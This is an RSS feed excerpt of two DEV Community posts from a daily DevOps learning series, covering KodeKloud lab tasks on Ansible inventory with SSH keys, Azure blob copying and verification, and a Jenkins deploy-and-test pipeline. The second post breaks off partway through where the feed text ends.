<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Nnamdi Felix Ibe</title>
    <description>The latest articles on DEV Community by Nnamdi Felix Ibe (@ndcodes).</description>
    <link>https://dev.to/ndcodes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3994627%2F3c1e9fc3-98cd-45c4-9e34-3ef72ece6604.jpg</url>
      <title>DEV Community: Nnamdi Felix Ibe</title>
      <link>https://dev.to/ndcodes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ndcodes"/>
    <language>en</language>
    <item>
      <title>Day 82: A Password Removed and a Copy That Stayed Put</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Mon, 09 Nov 2026 18:20:21 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-82-a-password-removed-and-a-copy-that-stayed-put-35jd</link>
      <guid>https://dev.to/ndcodes/day-82-a-password-removed-and-a-copy-that-stayed-put-35jd</guid>
      <description>&lt;p&gt;Day 82 of DevOps, Day 32 of Azure. Both tasks today returned a cheerful single word that meant less than it looked.&lt;/p&gt;

&lt;p&gt;Ansible said &lt;code&gt;pong&lt;/code&gt;, which does not mean what most people think it means. Azure said &lt;code&gt;success&lt;/code&gt;, which, for a small file, means finished, and for a large one, means scheduled. In both cases, the documentation is clear about the difference, and nothing in the output is.&lt;/p&gt;

&lt;p&gt;One Ansible task, one Azure task. Fix an inventory file so Ansible can reach three servers, then migrate a blob between containers. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;p&gt;This is the first Ansible day. Days 82 to 93 are Ansible, which closes the gap I have been calling the clearest one on my CV since August.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: An inventory with three passwords in it
&lt;/h2&gt;

&lt;p&gt;The task: modify the inventory so Ansible can reach all three app servers, and prove it works.&lt;/p&gt;

&lt;p&gt;Here is what the lab hands you:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="na"&gt;stapp01&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="py"&gt;ansible_ssh_pass&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Ir0nM@n&lt;/span&gt;
&lt;span class="na"&gt;stapp02&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="py"&gt;ansible_ssh_pass&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Am3ric@&lt;/span&gt;
&lt;span class="na"&gt;stapp03&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="py"&gt;ansible_ssh_pass&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;BigGr33&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three passwords, in a file, in plain text.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Ansible's documentation states the rule at the point of use
&lt;/h3&gt;

&lt;p&gt;I went in thinking replacing those with keys was good practice. It is stronger than that. Of &lt;code&gt;ansible_password&lt;/code&gt;, the inventory documentation says flatly: "never store this variable in plain text; always use a vault."&lt;/p&gt;

&lt;p&gt;And the same page sets the default expectation, which the lab file is working around rather than using: "By default, Ansible assumes you are using SSH keys to connect to remote machines", and "SSH keys are encouraged, but you can use password authentication if needed with the &lt;code&gt;--ask-pass&lt;/code&gt; option."&lt;/p&gt;

&lt;p&gt;So the supplied inventory does two things wrong at once. It stores secrets in plain text, and it bypasses the connection method the tool assumes, in order to avoid setting that method up.&lt;/p&gt;

&lt;p&gt;Worth putting next to Day 80, nine days ago, where a Jenkins job had a server password typed into a build step three times over, readable by anyone with Configure on the job. Same decision, opposite outcome, and I do not think the difference is the engineer. Ansible tells you the rule in the variable's own description. Jenkins has no documentation page for the freestyle shell step at all.&lt;/p&gt;

&lt;p&gt;A tool that states the rule where you are working gets the rule followed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The key, and the passphrase that matters more than it looks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;thor@jump-host ~&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-keygen
Generating public/private ed25519 key pair.
Enter passphrase &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s2"&gt;"/home/thor/.ssh/id_ed25519"&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;empty &lt;span class="k"&gt;for &lt;/span&gt;no passphrase&lt;span class="o"&gt;)&lt;/span&gt;:

thor@jump-host ~&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-copy-id tony@stapp01
Number of key&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; added: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things in that output are worth stopping on.&lt;/p&gt;

&lt;p&gt;Bare &lt;code&gt;ssh-keygen&lt;/code&gt; with no flags gives ed25519. Which is the Day 74 correction landing: I used &lt;code&gt;-t rsa -b 4096&lt;/code&gt; on Day 71 and &lt;code&gt;-t rsa -b 2048&lt;/code&gt; on Day 74, and neither was a decision, because the manual gives ed25519 as the default type and 3072 as the RSA default size. So one was an upgrade and the other a downgrade from a default I had not looked up. Omitting both flags, as here, takes the newer default and stops the question arising.&lt;/p&gt;

&lt;p&gt;And the passphrase is empty, which turns out to matter more than it looks. In my notes for the next four days I wrote &lt;code&gt;&amp;lt;Enter-your-passphrase&amp;gt;&lt;/code&gt; at that prompt instead, as a placeholder, and then showed a successful Ansible run.&lt;/p&gt;

&lt;p&gt;Those two are not interchangeable, and this is the day whose transcript records which one actually happened. Ansible's connection documentation states the limitation outright: with the default ssh connection plugin, Ansible "does not expose a channel to allow communication between the user and the ssh process to accept a password manually to decrypt an ssh key."&lt;/p&gt;

&lt;p&gt;A passphrase-protected key cannot be decrypted during an Ansible run. The documented way to use one is an agent, which the same page recommends: "The use of &lt;code&gt;ssh-agent&lt;/code&gt; is highly recommended." None of my notes mention one.&lt;/p&gt;

&lt;p&gt;So the options are an empty passphrase, which makes the key file itself the only credential, or a passphrase plus a loaded agent, which is better and one more step. A passphrase with no agent does not work, and a placeholder in a write-up reads as an instruction, so it is worth replacing with the real prompt.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The inventory, and the group that isn't there
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="na"&gt;stapp01&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="py"&gt;ansible_user&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;tony&lt;/span&gt;
&lt;span class="na"&gt;stapp02&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="py"&gt;ansible_user&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;steve&lt;/span&gt;
&lt;span class="na"&gt;stapp03&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="py"&gt;ansible_user&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;banner&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No group header. Ansible does not need one: "Even if you do not define any groups in your inventory file, Ansible creates two default groups: all and ungrouped", and "The all group contains every host."&lt;/p&gt;

&lt;p&gt;So those three lines are addressable individually, as &lt;code&gt;all&lt;/code&gt;, and as &lt;code&gt;ungrouped&lt;/code&gt;. Every other day in this batch adds a &lt;code&gt;[group]&lt;/code&gt; header, and this task works without one.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;thor@jump-host ~/ansible$ ansible stapp01 -i inventory -m ping
stapp01 | SUCCESS =&amp;gt; {
    "ansible_facts": {
        "discovered_interpreter_python": "/usr/bin/python3"
    },
    "changed": false,
    "ping": "pong"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the right verification for this task, and it is worth knowing exactly what it proves, because the name misleads.&lt;/p&gt;

&lt;p&gt;The module's own documentation: "This is NOT ICMP ping, this is just a trivial test module that requires Python on the remote-node." And its narrow purpose and exactly what an inventory change needs: "It does not make sense in playbooks, but it is useful from &lt;code&gt;/usr/bin/ansible&lt;/code&gt; to verify the ability to login and that a usable Python is configured."&lt;/p&gt;

&lt;p&gt;Two things, then. The login, which is what the key was for. And a usable Python, which is why the reply carries &lt;code&gt;discovered_interpreter_python&lt;/code&gt; rather than nothing. That field is the second half of the check, made visible.&lt;/p&gt;

&lt;p&gt;Which means a host that is up, routable and listening on port 22 but has no Python fails this check, and a host unreachable by ICMP but reachable by SSH passes it. It is the correct tool for verifying an inventory and the wrong one for diagnosing a network.&lt;/p&gt;

&lt;p&gt;Day 8 of this series, back in July, was titled on exactly this point. The documentation has not changed and the trap has not stopped being worth stating.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: A blob copied between containers
&lt;/h2&gt;

&lt;p&gt;The task: create a private container, migrate a file into it, and prove the content is identical.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The data never came to my machine
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az storage blob copy start &lt;span class="nt"&gt;--destination-container&lt;/span&gt; &lt;span class="nv"&gt;$DEST&lt;/span&gt; &lt;span class="nt"&gt;--destination-blob&lt;/span&gt; devops.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--source-container&lt;/span&gt; &lt;span class="nv"&gt;$SRC&lt;/span&gt; &lt;span class="nt"&gt;--source-blob&lt;/span&gt; devops.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Azure does this inside the storage service. The bytes move between containers without passing through the client at all, which matters three ways.&lt;/p&gt;

&lt;p&gt;Scale: identical command and identical cost for 33 bytes or 33 terabytes, with no local disk involved. Billing: a download followed by an upload pulls the data out of Azure and back in, billed as egress, where a same-account server-side copy transfers nothing externally. Speed: this returned immediately rather than streaming anything.&lt;/p&gt;

&lt;p&gt;The naive version, &lt;code&gt;download&lt;/code&gt; then &lt;code&gt;upload&lt;/code&gt;, gives the same result for a small file and is the wrong habit to carry into a real migration.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The word "success" is doing less work than it appears to
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"copy_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"d356b703-fd74-43df-8b00-77e4f5540992"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"copy_status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;copy start&lt;/code&gt; schedules the operation and hands back a &lt;code&gt;copy_id&lt;/code&gt;. For a small blob inside one storage account it finishes before the response is written, so the status reads &lt;code&gt;success&lt;/code&gt; straight away.&lt;/p&gt;

&lt;p&gt;A large blob, or a copy across accounts or regions, returns &lt;code&gt;pending&lt;/code&gt;. Progress then lives on the destination blob rather than in the command's output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az storage blob show &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nv"&gt;$DEST&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; devops.txt &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"properties.copy.{Status:status,Progress:progress}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So a migration script cannot infer completion from what &lt;code&gt;copy start&lt;/code&gt; returned. It has to poll until the status leaves &lt;code&gt;pending&lt;/code&gt;, and handle &lt;code&gt;failed&lt;/code&gt; and &lt;code&gt;aborted&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Which is the same shape as &lt;code&gt;pong&lt;/code&gt; in the first half of today. Both commands answer with one encouraging word, both words cover less ground than they suggest, and in both cases the documentation says precisely what the word covers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: And the field names changed convention
&lt;/h3&gt;

&lt;p&gt;This is why I ran the command without a &lt;code&gt;--query&lt;/code&gt; first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_request_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"copy_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"copy_status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"last_modified"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Snake_case. Nearly every other &lt;code&gt;az&lt;/code&gt; command returns camelCase, because the CLI serialises a typed SDK model. This one passes through a plain dictionary from the Python SDK, so the keys arrive as the SDK produced them. &lt;code&gt;--query "{Status:copyStatus}"&lt;/code&gt; returns &lt;code&gt;null&lt;/code&gt;; the correct form is &lt;code&gt;--query copy_status&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Fourth variant of one problem in this track:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variant&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Casing differs between resources&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;diskSizeGB&lt;/code&gt; against &lt;code&gt;diskSizeGb&lt;/code&gt;, Day 8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Field absent from one command&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;contentMd5&lt;/code&gt; on upload, Day 18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sparse response object&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;siteConfig&lt;/code&gt; on webapp create, Day 31&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Different naming convention entirely&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;copy_status&lt;/code&gt;, here&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One habit covers all four. Run an unfamiliar command with plain &lt;code&gt;-o json&lt;/code&gt; once, then write the query. Guessing gives you &lt;code&gt;null&lt;/code&gt;, and &lt;code&gt;null&lt;/code&gt; is indistinguishable from an empty value.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;The requirement was that both containers hold the file and the content is identical. Those are two claims and they need different evidence:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Proves&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;blob list&lt;/code&gt; on both containers&lt;/td&gt;
&lt;td&gt;The file exists in both&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matching &lt;code&gt;contentMd5&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The service believes the content matches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;cmp&lt;/code&gt; on two downloads&lt;/td&gt;
&lt;td&gt;The bytes are identical&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The MD5 comparison is strong and still second-hand. It compares what Azure recorded at upload time, and a blob whose content settings were set wrongly would report a stale digest quite happily. &lt;code&gt;cmp&lt;/code&gt; on the actual downloaded bytes is the only check that depends on nothing but the data.&lt;/p&gt;

&lt;p&gt;While doing that, a nice demonstration of something Day 18 described without an example. Azure reported &lt;code&gt;Lu7zilatbGguzSz2Ecn5IQ==&lt;/code&gt; and &lt;code&gt;md5sum&lt;/code&gt; printed &lt;code&gt;2eeef38a56ad6c682ecd2cf611c9f921&lt;/code&gt;. Those are the same 16 bytes: decode the base64 and you get that hex string exactly. Worth knowing before concluding a checksum mismatch means corruption.&lt;/p&gt;

&lt;p&gt;One last thing, on the task's title. It says "Synchronizing Containers" and the requirement is one file, which is the Day 14 pattern again: the title names a topic, the numbered requirements are the contract. If you did want the thing the title says, &lt;code&gt;azcopy sync&lt;/code&gt; is it, because it compares source and destination and transfers only the differences. &lt;code&gt;copy start-batch&lt;/code&gt; copies everything, every time.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Two commands, two reassuring words, and neither means what it looks like.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pong&lt;/code&gt; means Ansible logged in and found a working Python interpreter. It says nothing about the network, and a perfectly reachable host with no Python fails it. &lt;code&gt;success&lt;/code&gt; means the copy was scheduled, and for anything big enough to matter it will say &lt;code&gt;pending&lt;/code&gt; instead and expect you to go and look somewhere else.&lt;/p&gt;

&lt;p&gt;The useful part is that both tools document this precisely, in the place you would look if you thought to look. Which is the same thing the first half of today turned out to be about: Ansible puts "never store this variable in plain text" in the description of the variable itself, and that is why I replaced three passwords with a key without having to be clever about it.&lt;/p&gt;

&lt;p&gt;Nine days ago I wrote up a Jenkins job with a password in its build step three times over. The difference between these two days is not that I got better at security. It is that one tool told me the rule where I was standing.&lt;/p&gt;

&lt;p&gt;So here is the Day 82 question. Which of your green checks is reporting that something was scheduled rather than that it finished?&lt;/p&gt;

&lt;p&gt;Day 82 down. Eighteen to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>ansible</category>
      <category>azure</category>
      <category>automation</category>
    </item>
    <item>
      <title>Day 81: Two Stages and a Regional Quota</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Sun, 08 Nov 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-81-two-stages-and-a-regional-quota-2j9d</link>
      <guid>https://dev.to/ndcodes/day-81-two-stages-and-a-regional-quota-2j9d</guid>
      <description>&lt;p&gt;Day 81 of DevOps, Day 31 of Azure. Both tasks today involved reading something that was not there.&lt;/p&gt;

&lt;p&gt;A pipeline Test stage checks that an application is accessible, and would report success whether or not the Deploy stage that ran before it accomplished anything. And an Azure quota error left one field blank, and I read the blank as evidence about what the quota applied to.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Build a two-stage pipeline that deploys and then tests, then deploy a Python web app. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;p&gt;This is the last Jenkins day. Days 82 to 93 are Ansible, which is the gap I have been calling the clearest one on my CV since August.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: Two stages, deploy and test
&lt;/h2&gt;

&lt;p&gt;The task: a Pipeline job named &lt;code&gt;deploy-job&lt;/code&gt; with a &lt;code&gt;Deploy&lt;/code&gt; stage that pulls from &lt;code&gt;master&lt;/code&gt; and a &lt;code&gt;Test&lt;/code&gt; stage that confirms the application is accessible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Stages, not jobs
&lt;/h3&gt;

&lt;p&gt;Day 80 chained two jobs. This one uses two stages in one job, and both are right for what they are.&lt;/p&gt;

&lt;p&gt;Deploy and restart on Day 80 were separate operations with separate reasons to exist, and &lt;code&gt;manage-services&lt;/code&gt; is worth triggering on its own. Deploy and test here are one unit of work with one result. A stage boundary gives separate pass and fail reporting without separate configuration, which is exactly what you want when the only sensible response to a failed test is to look at the deployment that preceded it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The quoting, which goes the other way from Day 78
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;environment&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;APP_URL&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'https://8091-port-ceyx5ty225wyfbc2.labs.kodekloud.com/'&lt;/span&gt;
    &lt;span class="n"&gt;DEPLOY_DIR&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/html'&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;stages&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;stage&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Deploy'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s2"&gt;"""
                cd ${DEPLOY_DIR}
                git pull origin master
            """&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Day 78's pipeline used &lt;code&gt;sh '''...'''&lt;/code&gt;, triple single quotes, which do not interpolate in Groovy, so the shell expanded the variable from its own environment. This one uses triple double quotes, which do.&lt;/p&gt;

&lt;p&gt;So Groovy substitutes &lt;code&gt;${DEPLOY_DIR}&lt;/code&gt; into the command text before the agent receives it, and that is the pattern Jenkins documents as the thing to avoid. Groovy string interpolation "can inject rogue commands into command interpreters via special characters" and "can result in problems analogous to SQL injection", and the documented fix is to "use single quotes to avoid Groovy interpolation".&lt;/p&gt;

&lt;p&gt;The exposure here is small, because these values come from the &lt;code&gt;environment&lt;/code&gt; block rather than from a user. Nobody can set &lt;code&gt;APP_URL&lt;/code&gt; at build time.&lt;/p&gt;

&lt;p&gt;What makes it worth fixing anyway is that the double quotes buy nothing at all. The &lt;code&gt;environment&lt;/code&gt; directive has already "defined as environment variables for all steps" every one of those names. They are in the shell's environment either way. Single quotes give an identical result, with the interpolation layer gone, so the day somebody adds a parameter to this pipeline the hazard is not already sitting there waiting for it.&lt;/p&gt;

&lt;p&gt;Two pipelines in one batch, three days apart, on opposite sides of the one rule Jenkins documents about this. And the safer one is also the simpler one.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The Test stage would pass without the Deploy stage
&lt;/h3&gt;

&lt;p&gt;This is the finding worth keeping.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--fail&lt;/span&gt; &lt;span class="nt"&gt;--silent&lt;/span&gt; &lt;span class="nt"&gt;--show-error&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;APP_URL&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'APPLICATION IS DOWN'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;exit &lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That checks that the application answers. It checks nothing about what was deployed.&lt;/p&gt;

&lt;p&gt;A stale &lt;code&gt;index.html&lt;/code&gt; from last month returns 200. A page from a different branch returns 200. The exact content the Deploy stage failed to install returns 200, as long as Apache is running.&lt;/p&gt;

&lt;p&gt;So the stage proves the web server is up. The task's wording, "test if the application is accessible", is satisfied by that. Accessibility is not what a deployment pipeline needs to know immediately after deploying.&lt;/p&gt;

&lt;p&gt;The walkthrough's own validation shows the gap without naming it. It changes &lt;code&gt;index.html&lt;/code&gt; in the repository, runs the pipeline, and then opens a browser to check the new content appeared. That manual check is the real test. The pipeline's Test stage did not do it.&lt;/p&gt;

&lt;p&gt;A stage that tested the deployment would assert on content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--fail&lt;/span&gt; &lt;span class="nt"&gt;--silent&lt;/span&gt; &lt;span class="nt"&gt;--show-error&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$APP_URL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s1"&gt;'Welcome to xFusionCorp Industries'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Better still, compare against what the repository says it should be, so the assertion survives the next content change:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;EXPECTED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;git &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DEPLOY_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; show origin/master:index.html&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;--fail&lt;/span&gt; &lt;span class="nt"&gt;--silent&lt;/span&gt; &lt;span class="nt"&gt;--show-error&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$APP_URL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | diff &lt;span class="nt"&gt;-q&lt;/span&gt; - &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%s'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPECTED&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is Day 76's lesson arriving in a new place. There, a backup job succeeded every ten minutes while its dump contained no tables at all, because nothing checked the content. Here, a Test stage passes while the Deploy stage could have done nothing. Exit codes tell you a command ran, not that it achieved anything.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Three smaller things, and the first is the kind of bug that makes a check worse than no check.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;... &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'APPLICATION IS DOWN'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;exit &lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;
